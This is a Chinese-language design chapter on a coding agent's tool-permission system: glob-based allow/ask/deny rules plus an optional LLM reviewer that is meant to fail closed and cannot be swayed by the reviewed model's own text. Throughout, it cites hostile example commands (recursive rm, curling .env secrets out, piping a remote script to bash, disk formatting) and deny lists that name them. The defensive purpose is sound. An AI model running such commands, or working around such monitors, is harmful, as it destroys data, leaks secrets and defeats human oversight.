跳到主要内容

安全与权限:规则策略 + LLM 自动审查

30 秒导读: 模型想调一个工具(删文件、跑 shell、写代码),whale 不会直接放行。它在真正执行前设了两道闸:第一道是静态规则策略——一张 allow/ask/deny 的规则表,纯本地、零成本、可预测;第二道(可选)是动态 LLM 审查器——把这次工具调用喂给 DeepSeek,让另一个模型判 allow/warn/block,借鉴自 Claude Code 的 yolo classifier。两道闸的"失败方向"刻意相反,这是本章最精妙的一点。

本章是 whale 系列的第 4 章。它接在 01-turn-loop(核心回合循环)之后:回合循环拿到模型吐出的工具调用后,就是在这里过闸,再交给 03-tools-and-edit 里的工具实现去执行。

边界(本章不讲):


1. 这是什么(零基础也能懂)

一句话定义: 权限系统是工具调用的安检门——决定一次工具调用是直接放行弹窗问用户、还是当场拒绝

要解决什么问题? LLM 会犯错,也可能被投毒的文件内容诱导。你不能让一个自动跑的 agent 无条件执行 rm -rf /、把 .env 里的密钥 curl 到外网、或 git push --force 到 main。但你也不想每读一个文件、每跑一次 go test 都弹窗打断人。安检门要做的,正是在"全自动"和"每步都问"之间划一条可配置的线

两道闸,各管一段:

是什么判什么代价在哪
第一道:规则策略一张静态规则表工具名 + 目标(路径/命令)按 glob 匹配纯本地、微秒级internal/policy/
第二道:LLM 审查另一个模型当审查员把调用喂给 DeepSeek,读语义判风险一次网络往返、可选internal/agent/classifier*.go

一句话直觉/类比: 把第一道闸想成机场的规则牌("液体不超 100ml")——机械、快、可预测;把第二道闸想成安检员的肉眼复核——能看懂规则牌覆盖不到的可疑组合(比如"下载一段脚本再直接执行")。规则牌先过,安检员再看一眼。


2. 顶层全景(两道闸怎么串起来)

一次工具调用从"模型吐出"到"真正执行",在 dispatchToolCalls 里顺序过这几关。怎么读下图:从上到下是时间顺序,任一步"拦下"就不再往下走:

模型吐出一个 tool call


┌───────────────────────────────┐
│ 第一道闸:规则策略 │ sc.Policy.Decide(spec, call)
│ Decide() → PolicyDecision │ stream_dispatch.go:175
└───────────────────────────────┘

┌────────┼─────────────┐
Allow=false │ Allow=true
(deny) │ RequiresApproval=true
│ │ │
▼ │ ▼
拒绝并回填 │ 弹窗问人 resolveToolApproval()
ToolResult │ → ToolApprovalRequired 事件
(autoDeny) │ → a.approve(...) 回调等用户
✗ │ │
│ deny / cancel → ✗ allow → ↓

┌───────────────────────────────┐
│ 第二道闸:LLM 自动审查(可选) │ maybeBlockByClassifier()
│ Review() → allow/warn/block │ stream_dispatch.go:209
└───────────────────────────────┘

┌────────┼─────────┐
block warn allow
│ │ │
▼ ▼ ▼
回填 blocked 给结果加 放行 → 真正执行工具
ToolResult ⚠ 前缀 (dispatchStandardTool)
→ ToolCallBlocked → 照常执行

部件一句话职责:

部件干什么在哪个文件
ToolPolicy 接口定义"给我 spec+call,还你 PolicyDecision"internal/policy/policy.go:77
RulePolicy.Decide规则表求值的主体internal/policy/policy_decide.go:56
DefaultToolPolicy在用户规则前叠加内置默认规则internal/policy/policy_decide.go:141
ScopedAllowPolicy / ReadOnlyTurnPolicy两个装饰器:白名单前缀 / 回合级只读internal/policy/policy_decide.go:11,37
resolveToolApprovalask 变成弹窗 + 缓存已批准internal/agent/stream_dispatch.go:537
Classifier.Review第二道闸:调 DeepSeek 判风险internal/agent/classifier.go:98
CircuitBreaker防审查连环封锁拖垮回合internal/agent/classifier_circuit_breaker.go:13

3. 第一道闸:规则策略

3.1 三种动作与决策结构

规则系统的词汇表极小,只有三个动作:

动作常量含义
allowPermissionAllow直接放行
askPermissionAsk放行但先弹窗问人
denyPermissionDeny当场拒绝,不执行

定义见 internal/policy/policy.go:12-16。求值的产物是一个 PolicyDecision(policy.go:61),它不是简单的布尔——AllowRequiresApproval两个独立的维度:

  • denyAllow=false
  • askAllow=true RequiresApproval=true(能过,但要人点头)
  • allowAllow=trueRequiresApproval=false

PolicyDecision 还带 Code/Phase/MatchedRule 等审计字段,一路传给遥测(见 §5)。

3.2 权限"种类":工具名先归类

规则不是按原始工具名写的,而是按权限种类(permission kind)permissionKind(internal/policy/policy_targets.go:13)把具体工具名映射成一个类别:

工具名权限种类
read_file / grep / list_dir / load_skillread
edit / write / multi_editedit
shell_runshell
write_stdinterminal
remember / forgetmemory
spawn_subagenttask
web_search / web_fetchweb_search / web_fetch
mcp__*(前缀)mcp

每个种类有自己的默认规则表(下节)。这样"读文件"和"跑 shell"能各有各的策略。

3.3 内置默认规则:安全的出厂设置

DefaultPermissionConfig(internal/policy/policy_defaults.go:14)是 whale 的"出厂安全底线"。挑几条最能说明设计意图的:

种类规则(节选)动作为什么
read*allow读文件默认自由
read*.env / *.env.*ask.env 常含密钥,读也要问
read*.env.exampleallow示例文件无密钥,放行
shellrm *ask删文件要确认
shellrm -rf* / rm -r*deny递归删除直接拒,不给点头机会
shellcurl * / wget *ask出网要问
shellgit push*ask推远端要问
shellmkfs* / diskutil erase*deny格式化磁盘,拒
external_directory*ask碰工作区外的目录,一律先问
mcp / memory*ask外部工具、写记忆都先问

注意 read.env 的处理:* 是 allow,但 *.env 是 ask,而 *.env.example 又回到 allow。三条并存,靠特异性排序 + 最后匹配胜出(下节)选出正确那条。

3.4 求值算法:最后匹配胜出 + 特异性排序

要解决的小问题: 一个目标可能同时命中多条规则(.env.example 同时符合 **.env.**.env.example),该听哪条?

思路: 规则按"最后匹配胜出"求值(evaluateDetailed,internal/policy/policy_rules.go:13——从后往前遍历,第一个命中的即返回)。但 TOML map 的顺序不确定,所以入表时先排好:RulesFromMap(policy_rules.go:81)按字面字符数(非通配符字符,literalLen)升序排,越具体的规则排越后,从而在"最后匹配胜出"里胜出。

原理演示(示意,非源码):

# 示意,非源码:同一目标命中多条,越具体越靠后,反向扫第一个命中的赢
rules = [
("*", "allow"), # literalLen=0,最泛,排最前
("*.env.*", "ask"), # literalLen≈5
("*.env.example", "allow"),# literalLen≈12,最具体,排最后
]
target = ".env.example"
for pat, action in reversed(rules): # 从后往前
if glob_match(pat, target):
return action # → allow(最具体那条先命中)

通配符匹配本身很朴素:wildcardMatch(internal/policy/policy_wildcard.go:24)把 glob 的 */? 转成正则(* → .*,? → .),加 (?i) 大小写不敏感,编译结果用 sync.Map 缓存,避免每次调用重编译。

3.5 Shell:按"段"匹配,deny 跨段优先

这是规则系统里最需要小心的地方。 一条 shell 命令可能是复合的:ls && rm -rf /。如果整条命令当一个字符串去匹配,rm -rf 的 deny 规则就可能被前半段的 ls 掩盖。

whale 的解法:把命令切成段,每段独立求值,再做跨段合并——deny 优先。 逻辑在 evaluateShell(internal/policy/policy_rules.go:35):

命令: ls && rm -rf /tmp/x | grep foo

▼ normalizeShellSegments 按 ; | && & 换行 切段(尊重引号)
┌──────────┬──────────────┬───────────┐
│ "ls" │ "rm -rf /..." │ "grep foo"│
└──────────┴──────────────┴───────────┘
每段独立求值(仍是最后匹配胜出):
ls → allow
rm -rf … → DENY ← 命中就整体拒
grep foo → allow

▼ 跨段合并:deny > ask > allow
整条命令结果 = DENY

切段由 splitShellRuleSegments(internal/policy/policy_shell_segments.go:103)完成。它是一个手写的小状态机,逐字符扫描,在引号内不切,并特判 >&<&>| 这类重定向,不把它们当分隔符。切完再 normalizeShellSegmentForRule 去掉引号、折叠空白,得到用于匹配的干净段。

合并时的优先级(evaluateShell 里的循环):任一段是 deny → 立刻返回 deny;否则若有 ask → 返回 ask;否则 allow。注释点破了动机(policy_rules.go:37):"deny precedence across segments so an approval prompt cannot mask a separate denied command"——不能让一个可批准的段替另一个被拒的段打掩护。

3.6 请求拆解:一次调用可能问多个权限

Decide 的主体(RulePolicy.Decide,internal/policy/policy_decide.go:56)不是"一个工具问一个权限"这么简单。它先看 MCP 目录限制,再调 requestsFor(policy_decide.go:175)把一次调用拆成一组 permissionRequest:

  • 基础请求(工具名对应的种类 + 目标)。
  • 加上从"副作用计划"(effect plan)推出的额外请求——比如一条 shell 命令若会写工作区外的目录,就额外挂一个 external_directory 请求。
  • 一些特例改写:grep/search_files 把匹配目标改成被搜索的目录而非查询正则(否则搜索 .env 会被误当成读 .env,policy_decide.go:206);spawn_subagent 按只读/写改写成 readonly/mutating

decidePermissionRequests(policy_decide.go:77)再对这组请求做和 §3.5 同样的"deny 优先、否则 ask、否则 allow"合并。任一请求 deny → 整体 deny;有 ask → 整体需批准。

3.7 三个策略实现:接口 + 装饰器

ToolPolicy 是个只有一个方法的接口(internal/policy/policy.go:77):Decide(spec, call) PolicyDecision。whale 用装饰器模式叠加行为:

类型角色行为
RulePolicy核心纯规则表求值
DefaultToolPolicy包装在用户规则前面拼上 DefaultRules(),默认动作 allow(policy_decide.go:141)
ScopedAllowPolicy装饰器基策略放行后,对特定 shell 前缀(如 gh pr view)进一步无条件放行(policy_decide.go:11)
ReadOnlyTurnPolicy装饰器基策略放行后,非只读调用一律改判 deny(policy_decide.go:37)

ScopedAllowPolicy 有意收窄:只对"单行、不含 ; & | < > $ \ ( ) { } # 等控制字符"的命令生效(shellCommandEligibleForScopedAllow,internal/policy/policy_scoped_allow.go:5),而且对 gh pr view/list/diff还逐参数校验(不许--web打开浏览器等),见policy_scoped_allow.go:18`。这是"给只读只读地放宽"的白名单,不是万能门。

ReadOnlyTurnPolicy 服务于"审查回合"——某些回合(如让子代理只做 review)必须只读,任何写操作都直接拒:Allow=false, Code:"read_only_turn_denied"(policy_decide.go:49)。

3.8 exec 边界:在 argv 处再判一次

有些 shell 运行时是"拦截式"的:命令不是一次性交给 /bin/sh,而是在即将 exec 某个具体程序时回调策略。DecideExecBoundary(internal/policy/exec_boundary.go:18)就是这个二次闸门——它拿到结构化的 {Program, Argv, CWD},而非一整行字符串。

为什么要单独存在?注释点破(exec_boundary.go:9):write_stdin传输(往终端喂字节),而命令策略应落在最终的程序/argv 边界——两者分开。它同样按 shell 段规则求值,并叠加 external_directory 判定(命令若在工作区外的 CWD 执行),deny 依然优先。


4. 第二道闸:LLM 自动审查器(Classifier)

4.1 它补规则表的什么短板

规则表是机械的:它能拦 rm -rf,但拦不住语义组合——比如 curl https://x.sh | bash(下载并执行远程代码)、或把一段看似无害的命令拼成危险管道。Classifier 让另一个模型用"读得懂语义"的眼睛复核一遍,借鉴自 Claude Code 的 classifyYoloAction(源码注释多处点明,如 internal/agent/classifier.go:33)。

它默认关闭(DefaultClassifierConfigEnabled: false,classifier_prompt.go:35),是给"自动模式"用的加固层。开启后返回三档:

决策含义后果
allow安全放行,照常执行
warn有风险但可能合理放行,但给工具结果加 ⚠ 前缀让模型看到
block必须拦拒绝执行,回填 blocked 结果

4.2 三层短路:allowlist → disabled → no-key

Review(internal/agent/classifier.go:98)在真正调模型前先走三个快速分支,顺序很关键:

Review(call)

├─ 工具在 allowlist?(read_file/grep/list_dir/…)
│ → allow(FromAllowlist),根本不调模型 classifier.go:107

├─ 配置里 Enabled=false?
│ → allow(fail-open),这是"我没开审查"的退出 classifier.go:121

├─ 没有 API key?
│ → BLOCK(fail-closed!)不能悄悄退化成无限制放行 classifier.go:136

▼ 以上都不是 → 真的调 DeepSeek
classify(system, user)

allowlist(internal/agent/classifier_allowlist.go:10)只放只读/元数据/纯推理类工具(read_filegrepshell_waitrecall_memorytodo_list…);会改状态的工具(write/edit/shell_run/web_fetch)永远不在里面,必过审查。

4.3 失败方向:fail-open vs fail-closed(本章精华)

这是最值得带走的一点。两处"失败"走相反方向:

  • 配置没开审查 → allow(fail-open)。你没要这层保护,就别拦你。
  • 开了审查但跑不动(缺 key、超时、网络错、模型吐空、JSON 解析失败、返回未知决策)→ 一律 block(fail-closed)。见 classify 的错误路径(classifier.go:161)和决策校验(classifier.go:264——未知决策强制改成 block + high risk)。

注释点破动机(classifier.go:132):没有 key 时"we must not silently degrade to unrestricted auto-accept"——开启了却跑不动,绝不能悄悄退化成无限放行。规则表默认 allow(可预测的宽松),审查器默认 block(可预测的保守),两者搭配才安全。

4.4 喂给审查员什么:刻意剔除模型自己的话

buildClassifierTranscript(internal/agent/classifier_transcript.go:25)把会话史压成紧凑 JSONL 喂给审查员,但有一条安全设计:

  • 用户文本 → {"user":"…"}
  • 助手的 tool_use → {"tool_name":"compact_input"}(输入被截断)
  • 助手自己写的文本被故意排除(classifier_transcript.go:41)——"model-authored assistant text should not influence the classifier"。

为什么? 防止被审查的模型用自己的话给审查员"洗脑"(比如在文本里写"这个 rm -rf 是用户批准的")。审查员只看用户意图 + 实际动作,不看动作发起者的自辩。compact 时还对 shell_run 只抽 command、对 write/edit 只抽 file=…+前 200 字(compactToolInput,classifier_transcript.go:70),JSON 转义防止恶意内容"越狱"出字符串。

系统提示(classifier_system_prompt.txt)给审查员定了硬规矩:rm -rf 永远 block、无例外(唯一例外是显式请求重装依赖时的 rm -rf node_modules);"用户意图不能推翻 BLOCK 规则,只能在非 block 类别里区分 allow 与 warn"。

4.5 调用细节:关掉思考,4096 兜底

classify(classifier.go:186)发一个非流式、JSON-mode、temperature:0 的请求,并显式关闭 adaptive thinking("thinking":{"type":"disabled"})。注释解释了这个坑(classifier.go:21):默认模型是推理模型,若不关思考,思考 token 会先耗光预算,导致 finish_reason=length 而 content 为空,审查 fail-closed 把安全动作也拦了。max_tokens:4096 只是兜底上限。

4.6 熔断器:防"连环封锁"拖垮回合

问题: 审查器 block 后,模型看到失败可能换个写法再试,再被 block,陷入死循环空烧 token。

解法: CircuitBreaker(internal/agent/classifier_circuit_breaker.go:13,注释说译自 Codex 的 GuardianRejectionCircuitBreaker)按回合(turnID)记账,两条触发线:

触发条件阈值常量
连续封锁3 次maxConsecutiveClassifierDenials
滑动窗口内封锁50 次动作里 10 次maxRecentClassifierDenials / classifierDenialWindowSize

RecordDenial(circuit_breaker.go:42)每次 block 时递增连续计数并推进 50 长度的滑动窗口;RecordNonDenial(circuit_breaker.go:66)在 allow/warn 时把连续计数清零。任一条越线且尚未触发过 → 置 interruptTriggered,本回合剩余时间一直保持触发态

触发后不是硬崩,而是回到 turn loop 里注入一段可见的提示给用户和模型(turn_loop.go:334):告诉模型"别再重试被拦的动作,找更安全的替代 / 问用户 / 建议切到 Ask 模式",文本见 classifierCircuitBreakerNudge(classifier.go:300)。


5. 两道闸如何变成回合里的事件

回到 01-turn-loop 的主线。dispatchToolCalls(internal/agent/stream_dispatch.go)把上面两道闸的决策翻译成 AgentEvent,供 TUI 显示和遥测记录。

第一道闸的三条出口:

决策事件 / 结果代码位置
Decide 后总会发ToolPolicyDecision 事件(审计)stream_dispatch.go:175emitPolicyDecision
deny回填拒绝 ToolResult + autoDenyMetadatastream_dispatch.go:183,409
ask 且未缓存批准ToolApprovalRequired 事件 → a.approve() 回调stream_dispatch.go:574

人机确认路径(resolveToolApproval,stream_dispatch.go:537):先查 SessionApprovalCache(internal/policy/approval.go:53)看这个 key 是否本会话已批准过;没批准才发 ToolApprovalRequired 事件并调 a.approve。用户可回 Deny/Allow/AllowForSession/Cancel 四种 ApprovalDecision(approval.go:30)。选 "本会话都允许" 会把 key 写进缓存(甚至按 external_directory 持久化到项目级,见 internal/agent/approvals.go:88),后续同类调用不再弹窗。批准 key 的粒度很讲究:shell 命令按**命令族(arity family)**做 key(ShellApprovalKeys,approval.go:436),批一次 go test * 覆盖整族而非某条精确命令。

第二道闸的三条出口(maybeBlockByClassifier,internal/agent/classifier_integration.go:15):

  • block → 回填 classifier_blockedToolResult(Outcome:OutcomeBlocked)+ 发 ToolCallBlocked 事件 + RecordDenial(classifier_integration.go:38)。模型看到的是这条 blocked 结果而非真实执行输出,可自我纠正。
  • warn → 不拦,把 ⚠ Auto-review warning:… 存进 sc.WarnPrefix,在下个工具结果前拼上(classifier_integration.go:97,消费点 stream_dispatch.go:276)。
  • allowRecordNonDenial 后放行。

autoDenyCounts 是回合级的一张计数表(turn_loop.go:153 起,穿到 stream.go)。autoDenyMetadata(stream.go:434)按 code\x00tool 计数同一类拒绝在本回合重复了几次:重复 >1 次时给结果加 auto_deny_repeat_count 和一句提示,让"模型反复撞同一堵墙"这件事可见、可诊断。

遥测: 每一步(required / cached_allowed / allowed_once / denied / policy_denied / grant_persisted…)都通过 recordApprovalForCall(internal/agent/approval_telemetry.go:39)落审计事件,带上 PolicyDecisionCode/Phase/MatchedRule。事件名常量见 approval_telemetry.go:13


6. 巧妙之处(可借鉴的技术)

  • 失败方向相反,才是安全的默认。 规则表默认 allow(可预测的宽松)、审查器跑不动时默认 block(可预测的保守)。"开了保护却静默退化成无保护"是最危险的失效——whale 用 fail-closed 堵死它(classifier.go:132)。
  • Shell 按段匹配 + deny 跨段优先。 复合命令逐段独立求值,任一段 deny 就整条拒,批准段不能替被拒段打掩护(policy_rules.go:35)。手写状态机切段还能正确跳过引号内和 >& 重定向(policy_shell_segments.go:103)。
  • 审查转录剔除模型自己的话。 只喂"用户意图 + 实际动作",不喂动作发起者的自辩,防止被审模型给审查员洗脑(classifier_transcript.go:41)。
  • 特异性排序让无序 TOML 也能"越具体越优先"。 按字面字符数排序 + 最后匹配胜出,git push --force* 天然压过 git push*,无论用户在配置里怎么写(policy_rules.go:94)。
  • 熔断器按回合记账,双阈值。 连续 3 次或窗口内 10/50 次封锁就打断并给可见提示,防连环重试烧 token(circuit_breaker.go)。
  • 批准按"命令族"缓存。 批一次 go test * 覆盖整族,减少弹窗疲劳又不失控(approval.go:436)。

7. 边界与局限

  • 规则匹配是 glob 而非真 shell 解析。 段切分是启发式状态机,能处理引号和常见重定向,但不是完整 POSIX 解析——刻意构造的怪命令仍可能绕过某条 glob(所以才有第二道 LLM 闸兜底)。
  • 审查器要花钱、要联网、会延迟。 一次网络往返、10s 超时(classifierDefaultTimeout)。默认关闭,只在自动模式加固时才值得开。
  • 审查器本身是个 LLM,可能误判。 会把合理动作误 block(fail-closed 的代价),也可能被巧妙的语义诱导。它是加固层,不是万无一失的沙箱——真正的执行隔离在 03-tools-and-edit 的 shell 沙箱。
  • isInCWDWrite 目前很粗。 classifier_allowlist.go:58 里它只判 cwd != "",注释自陈是"coarse-grained check",细节交给审查器。

8. 代码地图(导航索引)

主题文件关键符号
策略接口与决策结构internal/policy/policy.goToolPolicyPolicyDecisionPermissionAction
求值主体 + 三种策略internal/policy/policy_decide.goRulePolicy.DecideDefaultToolPolicyScopedAllowPolicyReadOnlyTurnPolicyrequestsFordecidePermissionRequests
规则匹配 + shell 分段求值internal/policy/policy_rules.goevaluateDetailedevaluateShellRulesFromMap
glob→正则 + 特异性internal/policy/policy_wildcard.gowildcardMatchliteralLencompileWildcard
工具名→种类、目标提取internal/policy/policy_targets.gopermissionKindpermissionTargetreadScopeTarget
shell 切段状态机internal/policy/policy_shell_segments.gosplitShellRuleSegmentsnormalizeShellSegmentsshellSegmentRuleMatches
白名单前缀放行internal/policy/policy_scoped_allow.gohasSingleLineCommandPrefixghPRScopedAllowCommandAllowed
出厂默认规则internal/policy/policy_defaults.goDefaultPermissionConfigDefaultRules
批准结构 + 会话缓存 + keyinternal/policy/approval.goApprovalDecisionApprovalRequirementSessionApprovalCacheApprovalKeysShellApprovalKeys
exec/argv 边界二次判internal/policy/exec_boundary.goDecideExecBoundaryExecBoundaryRequest
LLM 审查器主体internal/agent/classifier.goClassifierReviewclassify
决策类型与 block/warn 文本internal/agent/classifier_types.goClassifierDecisionclassifierBlockedModelText
系统提示组装 + 配置internal/agent/classifier_prompt.goClassifierConfigbuildClassifierSystemPrompt
审查白名单internal/agent/classifier_allowlist.goclassifierAllowlistisClassifierAllowlisted
熔断器internal/agent/classifier_circuit_breaker.goCircuitBreakerRecordDenialRecordNonDenial
审查接回合、发事件internal/agent/classifier_integration.gomaybeBlockByClassifieremitClassifierEvent
转录构建(剔除助手文本)internal/agent/classifier_transcript.gobuildClassifierTranscriptcompactToolInput
两道闸→事件的分发internal/agent/stream_dispatch.godispatchToolCallsresolveToolApprovalemitPolicyDecisionautoDenyMetadata
批准缓存/持久化internal/agent/approvals.goresolveToolApproval 用到的 grantApprovalsprojectApprovalScope
批准遥测internal/agent/approval_telemetry.gorecordApprovalForCallapprovalDecisionEvent